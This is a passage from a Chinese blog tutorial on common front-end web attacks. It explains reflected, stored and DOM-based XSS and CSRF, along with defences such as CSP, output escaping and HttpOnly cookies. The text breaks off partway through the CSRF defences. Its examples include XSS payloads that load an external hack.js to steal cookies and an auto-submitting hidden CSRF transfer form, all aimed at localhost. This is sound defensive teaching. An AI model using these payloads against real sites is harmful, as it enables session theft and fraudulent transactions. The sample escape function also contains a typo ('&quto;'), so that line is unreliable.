<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 5.2.0">
  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
  <link rel="mask-icon" href="/images/logo.svg" color="#222">

<link rel="stylesheet" href="/css/main.css">


<link rel="stylesheet" href="/lib/font-awesome/css/all.min.css">

<script id="hexo-configurations">
    var NexT = window.NexT || {};
    var CONFIG = {"hostname":"llmysnow.top","root":"/","scheme":"Gemini","version":"7.8.0","exturl":false,"sidebar":{"position":"left","display":"post","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":true,"show_result":true,"style":null},"back2top":{"enable":true,"sidebar":false,"scrollpercent":true},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":false,"mediumzoom":false,"lazyload":true,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":true,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},"path":"search.xml"};
  </script>

  <meta name="description" content="XSS分类与防范、CSRF攻击流程与防范、SQL注入、点击劫持、DDOS等">
<meta property="og:type" content="article">
<meta property="og:title" content="常见 Web 攻击（前端篇）">
<meta property="og:url" content="http://llmysnow.top/posts/8188972/index.html">
<meta property="og:site_name" content="奇幻的梦之旅">
<meta property="og:description" content="XSS分类与防范、CSRF攻击流程与防范、SQL注入、点击劫持、DDOS等">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://gitee.com/lilyn/pic/raw/master/js-img/html%E5%AE%9E%E4%BD%93%E5%90%8D%E7%A7%B0.jpg">
<meta property="og:image" content="https://gitee.com/lilyn/pic/raw/master/js-img/HTTP%20Referer.jpg">
<meta property="article:published_time" content="2021-08-12T07:53:44.453Z">
<meta property="article:modified_time" content="2022-04-23T11:27:04.413Z">
<meta property="article:author" content="LiLyn">
<meta property="article:tag" content="XSS">
<meta property="article:tag" content="CSRF">
<meta property="article:tag" content="网络安全">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://gitee.com/lilyn/pic/raw/master/js-img/html%E5%AE%9E%E4%BD%93%E5%90%8D%E7%A7%B0.jpg">

<link rel="canonical" href="http://llmysnow.top/posts/8188972/">


<script id="page-configurations">
  // https://hexo.io/docs/variables.html
  CONFIG.page = {
    sidebar: "",
    isHome : false,
    isPost : true,
    lang   : 'zh-CN'
  };
</script>

  <title>常见 Web 攻击（前端篇） | 奇幻的梦之旅</title>
  






  <noscript>
  <style>
  .use-motion .brand,
  .use-motion .menu-item,
  .sidebar-inner,
  .use-motion .post-block,
  .use-motion .pagination,
  .use-motion .comments,
  .use-motion .post-header,
  .use-motion .post-body,
  .use-motion .collection-header { opacity: initial; }

  .use-motion .site-title,
  .use-motion .site-subtitle {
    opacity: initial;
    top: initial;
  }

  .use-motion .logo-line-before i { left: initial; }
  .use-motion .logo-line-after i { right: initial; }
  </style>
</noscript>

<link rel="alternate" href="/atom.xml" title="奇幻的梦之旅" type="application/atom+xml">
</head>
<!--即时预加载技术，在用户点击之前预先加载页面-->
<script src="https://cdn.jsdelivr.net/gh/TRHX/CDN-for-itrhx.com@2.0.2/js/instantclick-1.2.2.js" type="module"></script>
<body itemscope itemtype="http://schema.org/WebPage">
  <div class="container use-motion">
    <div class="headband"></div>
	  <!--<a target="_blank" rel="noopener" href="https://github.com/llwodexue" class="github-corner" aria-label="View source on GitHub"><svg width="80" height="80" viewBox="0 0 250 250" style="fill:#151513; color:#fff; position: absolute; top: 0; border: 0; right: 0;" aria-hidden="true"><path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"></path><path d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2" fill="currentColor" style="transform-origin: 130px 106px;" class="octo-arm"></path><path d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z" fill="currentColor" class="octo-body"></path></svg></a><style>.github-corner:hover .octo-arm{animation:octocat-wave 560ms ease-in-out}@keyframes octocat-wave{0%,100%{transform:rotate(0)}20%,60%{transform:rotate(-25deg)}40%,80%{transform:rotate(10deg)}}@media (max-width:500px){.github-corner:hover .octo-arm{animation:none}.github-corner .octo-arm{animation:octocat-wave 560ms ease-in-out}}</style>-->
    <header class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-nav-toggle">
    <div class="toggle" aria-label="切换导航栏">
      <span class="toggle-line toggle-line-first"></span>
      <span class="toggle-line toggle-line-middle"></span>
      <span class="toggle-line toggle-line-last"></span>
    </div>
  </div>

  <div class="site-meta">

    <a href="/" class="brand" rel="start">
      <span class="logo-line-before"><i></i></span>
      <h1 class="site-title">奇幻的梦之旅</h1>
      <span class="logo-line-after"><i></i></span>
    </a>
      <p class="site-subtitle" itemprop="description">http://llmysnow.top/</p>
  </div>

  <div class="site-nav-right">
    <div class="toggle popup-trigger">
        <i class="fa fa-search fa-fw fa-lg"></i>
    </div>
  </div>
</div>




<nav class="site-nav">
  <ul id="menu" class="main-menu menu">
        <li class="menu-item menu-item-home">

    <a href="/" rel="section"><i class="fa fa-home fa-fw"></i>首页</a>

  </li>
        <li class="menu-item menu-item-tags">

    <a href="/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>标签</a>

  </li>
        <li class="menu-item menu-item-categories">

    <a href="/categories/" rel="section"><i class="fa fa-th fa-fw"></i>分类</a>

  </li>
        <li class="menu-item menu-item-archives">

    <a href="/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>归档</a>

  </li>
      <li class="menu-item menu-item-search">
        <a role="button" class="popup-trigger"><i class="fa fa-search fa-fw"></i>搜索
        </a>
      </li>
  </ul>
</nav>



  <div class="search-pop-overlay">
    <div class="popup search-popup">
        <div class="search-header">
  <span class="search-icon">
    <i class="fa fa-search"></i>
  </span>
  <div class="search-input-container">
    <input autocomplete="off" autocapitalize="off"
           placeholder="搜索..." spellcheck="false"
           type="search" class="search-input">
  </div>
  <span class="popup-btn-close">
    <i class="fa fa-times-circle"></i>
  </span>
</div>
<div id="search-result">
  <div id="no-result">
    <i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>
  </div>
</div>

    </div>
  </div>

</div>
    </header>

    
  <div class="back-to-top">
    <i class="fa fa-arrow-up"></i>
    <span>0%</span>
  </div>


    <main class="main">
      <div class="main-inner">
        <div class="content-wrap">
          

          <div class="content post posts-expand">
            

    
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="http://llmysnow.top/posts/8188972/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="/images/logo.jpg">
      <meta itemprop="name" content="LiLyn">
      <meta itemprop="description" content="">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="奇幻的梦之旅">
    </span>
      <header class="post-header">
        <h1 class="post-title" itemprop="name headline">
          常见 Web 攻击（前端篇）
        </h1>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-calendar"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              <time title="创建时间：2021-08-12 15:53:44" itemprop="dateCreated datePublished" datetime="2021-08-12T15:53:44+08:00">2021-08-12</time>
            </span>
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-folder"></i>
              </span>
              <span class="post-meta-item-text">分类于</span>
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/categories/%E7%BD%91%E7%BB%9C/" itemprop="url" rel="index"><span itemprop="name">网络</span></a>
                </span>
            </span>

          <br>
            <span class="post-meta-item" title="本文字数">
              <span class="post-meta-item-icon">
                <i class="far fa-file-word"></i>
              </span>
                <span class="post-meta-item-text">本文字数：</span>
              <span>7.8k</span>
            </span>
            <span class="post-meta-item" title="阅读时长">
              <span class="post-meta-item-icon">
                <i class="far fa-clock"></i>
              </span>
                <span class="post-meta-item-text">阅读时长 &asymp;</span>
              <span>7 分钟</span>
            </span>
            <div class="post-description">XSS分类与防范、CSRF攻击流程与防范、SQL注入、点击劫持、DDOS等</div>

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
        <h2 id="XSS"><a href="#XSS" class="headerlink" title="XSS"></a>XSS</h2><p>Cross Site Scripting（跨站脚本攻击），因为缩写和 CSS 重叠，所以改叫 XSS。跨站脚本攻击是指通过存在安全漏洞的 Web 网址注册用户的浏览器内运行非本站点 HTML 或 JavaScript 进行的一种攻击</p>
<p>跨站脚本攻击可以造成以下影响：</p>
<ul>
<li><p>利用虚假输入表单骗取用户个人信息</p>
</li>
<li><p>利用脚本窃取用户的 Cookie 值，被害者在不知情的情况下，帮助攻击者发送恶意请求</p>
<p>显示伪造的文章或图片</p>
</li>
</ul>
<h3 id="XSS-攻击分类"><a href="#XSS-攻击分类" class="headerlink" title="XSS 攻击分类"></a>XSS 攻击分类</h3><h4 id="反射型-XSS"><a href="#反射型-XSS" class="headerlink" title="反射型 XSS"></a>反射型 XSS</h4><ul>
<li><p>反射型：url 参数直接注入</p>
<p>URL 注入非法脚本，然后发送给受害用户</p>
<p>服务端返回的富文本中包含非法脚本，被直接展示</p>
</li>
</ul>
<p>反射型 XSS 攻击步骤：</p>
<ol>
<li>攻击者构造出特殊的 URL，其中包含恶意代码</li>
<li>用户打开带有恶意代码的 URL 时，网站服务端将恶意代码从 URL 中取出，拼接在 HTML 中返回给浏览器</li>
<li>用户浏览器接收到响应后解析执行，混在其中的恶意代码也被执行</li>
<li>恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作</li>
</ol>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 普通 --&gt;</span></span><br><span class="line">http://localhost:3000/?from=china</span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- alert尝试 --&gt;</span></span><br><span class="line">http://localhost:3000/?from=<span class="tag">&lt;<span class="name">script</span>&gt;</span>alert(3)<span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 获取Cookie --&gt;</span></span><br><span class="line">http://localhost:3000/?from=<span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;http://localhost:4000/hack.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 伪造cookie入侵 --&gt;</span></span><br><span class="line">document.cookie=&quot;...&quot;</span><br></pre></td></tr></table></figure>

<h4 id="存储型-XSS"><a href="#存储型-XSS" class="headerlink" title="存储型 XSS"></a>存储型 XSS</h4><ul>
<li><p>存储型：存储到 DB 后读取时注入</p>
<p>发帖中发出包含恶意代码的内容，其它用户访问到该内容后，满足特定条件即触发</p>
<p>后台不过滤信息，并且前端展示时也不过滤信息</p>
</li>
</ul>
<p>存储型 XSS 的攻击步骤：</p>
<ol>
<li>攻击者将恶意代码提交到目标网站的数据库中</li>
<li>用户打开网站时，网站服务端将恶意代码从数据库取出，拼接在 HTML 中返回给浏览器</li>
<li>用户浏览器接收到响应后解析执行，混在其中的恶意代码也被执行</li>
<li>恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作</li>
</ol>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 评论 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span>alert(1)<span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 跨站脚本注入 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;http://localhost:4000/hack.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure>

<h4 id="DOM-型-XSS"><a href="#DOM-型-XSS" class="headerlink" title="DOM 型 XSS"></a>DOM 型 XSS</h4><ul>
<li><p>DOM型：基于 DOM 或本地的 XSS 攻击</p>
<p>wifi 流量劫持、DNS 劫持，并且直接返回钓鱼页面</p>
</li>
</ul>
<p>DOM 型 XSS 其实是一种特殊类型的反射型 XSS，通过 <strong>JS 操作 DOM 树</strong> 动态地 <strong>输出数据到页面</strong>，而不依赖于将数据提交给服务器端，它是基于 DOM 文档对象模型的一种漏洞</p>
<p>DOM 型 XSS 的攻击步骤：</p>
<ol>
<li>攻击者构造出特殊的 URL，其中包含恶意代码</li>
<li>用户打开带有恶意代码的 URL</li>
<li>用户浏览器接收到响应后解析执行，前端 JavaScript 取出 URL 中的恶意代码并执行</li>
<li>恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作</li>
</ol>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="javascript"><span class="built_in">document</span>.write(<span class="string">&quot;&lt;script&gt;alert(0)&lt;\/script&gt;&quot;</span>)</span></span><br><span class="line"><span class="javascript"><span class="built_in">eval</span>(location.hash.substr(<span class="number">1</span>))</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure>

<h4 id="区别"><a href="#区别" class="headerlink" title="区别"></a>区别</h4><p>反射型 XSS 跟存储型 XSS 区别：</p>
<ul>
<li>存储型 XSS 的恶意代码存在数据库里</li>
<li>反射型 XSS 的恶意代码存在 URL 里</li>
</ul>
<p>DOM 型 XSS 和前两种 XSS 区别：</p>
<ul>
<li>DOM 型 XSS 攻击中，取出和执行恶意代码由浏览器端完成，属于前端 JavaScript 自身的安全漏洞</li>
<li>其他两种 XSS 都属于服务端的安全漏洞</li>
</ul>
<h3 id="攻击危害"><a href="#攻击危害" class="headerlink" title="攻击危害"></a>攻击危害</h3><ul>
<li>盗取用户 Cookie</li>
<li>钓鱼攻击</li>
<li>偷取网站的任意数据</li>
<li>偷取用户的资料</li>
<li>偷取用户的秘密和登录态</li>
<li>删除目标文字、恶意篡改数据、嫁祸</li>
<li>劫持用户 Web 行为，进一步渗透内网</li>
<li>蠕虫式挂马攻击、刷广告、刷流量、破坏网上数据</li>
</ul>
<h3 id="防范手段"><a href="#防范手段" class="headerlink" title="防范手段"></a>防范手段</h3><h4 id="HEAD"><a href="#HEAD" class="headerlink" title="HEAD"></a>HEAD</h4><p>0：禁止 XSS 过滤</p>
<p>1：启用 XSS 过滤（通常浏览器是默认的）。如果检测到跨站脚本攻击，浏览器将清除页面（删除不安全的部分）</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ctx.set(<span class="string">&#x27;X-XSS-Protection&#x27;</span>, <span class="number">1</span>)</span><br></pre></td></tr></table></figure>

<h4 id="CSP"><a href="#CSP" class="headerlink" title="CSP"></a>CSP</h4><p><strong>内容安全策略</strong>（CSP, Content Security Policy）是一个附加的安全层，用于帮助检测和缓解某些类型的攻击，包括跨站脚本（XSS）和数据注入等攻击。这些攻击可用于实现从数据窃取到网站破坏或作为恶意软件分发版本等用途</p>
<p><strong>CSP 本质就是建立白名单</strong>，开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则，如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少 XSS 攻击</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 只允许加载本站资源</span></span><br><span class="line">ctx.set(<span class="string">&#x27;Content-Security-Policy&#x27;</span>, <span class="string">&quot;default-src &#x27;self&#x27;&quot;</span>)</span><br><span class="line"><span class="comment">// 只允许加载 HTTPS 协议图片</span></span><br><span class="line">ctx.set(<span class="string">&#x27;Content-Security-Policy&#x27;</span>, <span class="string">&#x27;img-src https://*&#x27;</span>)</span><br><span class="line"><span class="comment">// 不允许加载任何来源框架</span></span><br><span class="line">ctx.set(<span class="string">&#x27;Content-Security-Policy&#x27;</span>, <span class="string">&quot;child-src &#x27;none&#x27;&quot;</span>)</span><br></pre></td></tr></table></figure>

<h4 id="转义字符（过滤）"><a href="#转义字符（过滤）" class="headerlink" title="转义字符（过滤）"></a>转义字符（过滤）</h4><p>转义（应该在输出 HTML 进行，而不是在提交用户输入时）</p>
<ul>
<li>输入处理：用户输入、URL 参数、POST 请求参数、Ajax</li>
<li>输出处理：转为实体名称</li>
</ul>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;% code %&gt; 用于执行其中JavaScript代码</span><br><span class="line">&lt;%&#x3D; code %&gt; 会对code进行html转义（尽量使用这个）</span><br><span class="line">&lt;%- code %&gt; 不会进行转义</span><br></pre></td></tr></table></figure>

<ul>
<li><p>黑名单</p>
<p>用户的输入永远不可信任，最普通的做法就是转义输入输出的内容，对于引号、尖括号、斜杠进行转义</p>
<p>把显示结果转为实体名称</p>
<p><img data-src="https://gitee.com/lilyn/pic/raw/master/js-img/html%E5%AE%9E%E4%BD%93%E5%90%8D%E7%A7%B0.jpg"></p>
</li>
</ul>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">escape</span>(<span class="params">str</span>) </span>&#123;</span><br><span class="line">  str = str.replace(<span class="regexp">/&amp;/g</span>, <span class="string">&#x27;&amp;amp;&#x27;</span>)</span><br><span class="line">  str = str.replace(<span class="regexp">/&lt;/g</span>, <span class="string">&#x27;&amp;lt;&#x27;</span>)</span><br><span class="line">  str = str.replace(<span class="regexp">/&gt;/g</span>, <span class="string">&#x27;&amp;gt;&#x27;</span>)</span><br><span class="line">  str = str.replace(<span class="regexp">/&quot;/g</span>, <span class="string">&#x27;&amp;quto;&#x27;</span>)</span><br><span class="line">  str = str.replace(<span class="regexp">/&#x27;/g</span>, <span class="string">&#x27;&amp;#39;&#x27;</span>)</span><br><span class="line">  str = str.replace(<span class="regexp">/`/g</span>, <span class="string">&#x27;&amp;#96;&#x27;</span>)</span><br><span class="line">  str = str.replace(<span class="regexp">/\//g</span>, <span class="string">&#x27;&amp;#x2F;&#x27;</span>)</span><br><span class="line">  <span class="keyword">return</span> str</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<ul>
<li><p>白名单</p>
<p>对于富文本来说，显然不能通过上面办法转义所有字符，因为这样会把需要的格式也过滤掉。对于这种情况，通常采用白名单过滤的方法</p>
<p><strong>对用户的输入进行合理的验证，对特殊字符（如：&lt;、&gt;、”、”等）</strong>以及 <code>&lt;script&gt;</code> 、javascript 等进行过滤</p>
</li>
</ul>
<p>编程语言解决方案：</p>
<ul>
<li><p>nodejs 使用 <a target="_blank" rel="noopener" href="https://github.com/leizongmin/js-xss">js-xss</a></p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> xss = <span class="built_in">require</span>(<span class="string">&quot;xss&quot;</span>);</span><br><span class="line"><span class="keyword">var</span> html = xss(<span class="string">&#x27;&lt;script&gt;alert(&quot;xss&quot;);&lt;/script&gt;&#x27;</span>);</span><br></pre></td></tr></table></figure>
</li>
<li><p>Java 使用 <a target="_blank" rel="noopener" href="https://github.com/naver/lucy-xss-filter">lucy-xss-filter</a></p>
<p>Java 里，常用的转义库为  <code>org.owasp.encoder</code></p>
</li>
<li><p>Spring Boot</p>
<p><a target="_blank" rel="noopener" href="https://zdran.com/20180511.html">Spring Boot 使用 Jsoup 拦截XSS</a></p>
</li>
</ul>
<h4 id="HttpOnly"><a href="#HttpOnly" class="headerlink" title="HttpOnly"></a>HttpOnly</h4><p>这是预防 XSS 攻击窃取用户 cookie 最有效的防御手段。Web 应用程序设置 cookie 时，将其属性设为 HttpOnly，就可以避免该网页的 cookie 被客户端恶意 JavaScript 窃取，保护用户 cookie 信息</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># node</span></span><br><span class="line">app.use(session(&#123; httpOnly: <span class="literal">true</span> &#125;, app))</span><br><span class="line"><span class="comment"># java</span></span><br><span class="line">cookie.setHttpOnly(<span class="literal">true</span>)</span><br><span class="line"><span class="comment"># python</span></span><br><span class="line">tools.sessions.httponly = True</span><br><span class="line"><span class="comment"># php</span></span><br><span class="line">session.cookie_httponly = 1</span><br></pre></td></tr></table></figure>

<h4 id="DOM-型注意"><a href="#DOM-型注意" class="headerlink" title="DOM 型注意"></a>DOM 型注意</h4><p>在使用 <code>innerHTML</code>、<code>outerHTML</code>、<code>document.write()</code> 时要特别小心，不要把不可信的数据作为 HTML 插入页面上，而应尽量使用 <code>.textContent</code> 、<code>setAttribute()</code> 等</p>
<p>如果使用 Vue 或 React 技术栈，并不适用 <code>v-html / dangerouslySetInnerHTML</code> 功能，就在前端 render 阶段避免 <code>innerHTML</code> 、<code>outerHTML</code> 的 XSS 隐患</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span> </span><br><span class="line"><span class="javascript"><span class="comment">// setTimeout()/setInterval() 中调⽤恶意代码</span></span></span><br><span class="line"><span class="javascript"><span class="built_in">setTimeout</span>(<span class="string">&quot;UNTRUSTED&quot;</span>)</span></span><br><span class="line"><span class="javascript"><span class="built_in">setInterval</span>(<span class="string">&quot;UNTRUSTED&quot;</span>)</span></span><br><span class="line"><span class="javascript"><span class="comment">// location 调⽤恶意代码</span></span></span><br><span class="line"><span class="javascript">location.href = <span class="string">&#x27;UNTRUSTED&#x27;</span></span></span><br><span class="line"><span class="javascript"><span class="comment">// eval() 中调⽤恶意代码</span></span></span><br><span class="line"><span class="javascript"><span class="built_in">eval</span>(<span class="string">&quot;UNTRUSTED&quot;</span>) </span></span><br><span class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p><strong>对于不信任的输入，都应该限定一个合理的长度</strong></p>
<h2 id="CSRF"><a href="#CSRF" class="headerlink" title="CSRF"></a>CSRF</h2><p>CSRF（Cross Site Request Forgery），即跨站请求伪造，是一种常见 Web 攻击，它利用用户已登录的身份，在用户毫不知情的情况下，已用户的名义完成非法操作</p>
<p>CSRF 攻击流程：</p>
<ul>
<li>受害者登录 <code>a.com</code>，并保留了登录凭证（Cookie）</li>
<li>攻击者引诱受害者访问了 <code>b.com</code></li>
<li><code>b.com</code> 向 <code>a.com</code> 发送了一个请求：<code>a.com/act=xxx</code> 浏览器会默认携带 <code>a.com</code> 的 Cookie</li>
<li><code>a.com</code> 接收到请求后，对请求进行验证，并确认是受害者的凭证，误认为是受害者自己发送的请求</li>
<li><code>a.com</code> 以受害者的名义执行了 <code>act=xxx</code></li>
<li>攻击完成，攻击者在受害者不知情的情况下，冒充受害者，让 <code>a.com</code> 执行了自己定义的操作</li>
</ul>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- GET 请求 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">&quot;http://127.0.0.1:9000/transfer?to_user=jack&amp;money=2000&quot;</span> <span class="attr">width</span>=<span class="string">&quot;500&quot;</span> <span class="attr">height</span>=<span class="string">&quot;300&quot;</span> /&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- POST 请求 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">iframe</span> <span class="attr">style</span>=<span class="string">&quot;display: none&quot;</span> <span class="attr">name</span>=<span class="string">&quot;csrf-frame&quot;</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">method</span>=<span class="string">&quot;POST&quot;</span> <span class="attr">action</span>=<span class="string">&quot;http://127.0.0.1:9000/transfer&quot;</span> <span class="attr">target</span>=<span class="string">&quot;csrf-frame&quot;</span> <span class="attr">id</span>=<span class="string">&quot;csrf-form&quot;</span> &gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;hidden&quot;</span> <span class="attr">name</span>=<span class="string">&quot;to_user&quot;</span> <span class="attr">value</span>=<span class="string">&quot;hack01&quot;</span> /&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;hidden&quot;</span> <span class="attr">name</span>=<span class="string">&quot;money&quot;</span> <span class="attr">value</span>=<span class="string">&quot;2000&quot;</span> /&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;submit&quot;</span> <span class="attr">value</span>=<span class="string">&quot;submit&quot;</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="javascript"><span class="built_in">document</span>.getElementById(<span class="string">&quot;csrf-form&quot;</span>).submit()</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure>

<h3 id="CSRF-攻击危害"><a href="#CSRF-攻击危害" class="headerlink" title="CSRF 攻击危害"></a>CSRF 攻击危害</h3><ul>
<li>利用用户登录态</li>
<li>用户不知情</li>
<li>完成业务需求</li>
<li>盗取用户资金（转账、消费）</li>
<li>冒充用户发帖背锅</li>
<li>损害网站声誉</li>
</ul>
<h3 id="防范手段-1"><a href="#防范手段-1" class="headerlink" title="防范手段"></a>防范手段</h3><p>CSRF 两个特点：</p>
<ul>
<li><p>CSRF（通常）发生在第三方域名</p>
<p>阻止不明外域的访问（同源检测、Samesite Cookie）</p>
</li>
<li><p>CSRF 攻击者不能获取到 Cookie 等信息，只是使用</p>
<p>提交时要求附加本域才能获取的信息（CSRF Token、双重 Cookie 验证）</p>
</li>
</ul>
<p>cookie 的应用场景：</p>
<ul>
<li>自动登录</li>
<li>电商购物车功能</li>
<li>记录用户登录网址的次数</li>
<li>商品浏览记录</li>
</ul>
<p>防范手段：</p>
<ul>
<li><p>验证码</p>
</li>
<li><p><strong>同源检测 验证 Referer</strong></p>
<p>HTTP 协议头中有一个字段叫 referer，记录了该 HTTP 请求的来源地址</p>
<p>Https 不发生 referer</p>
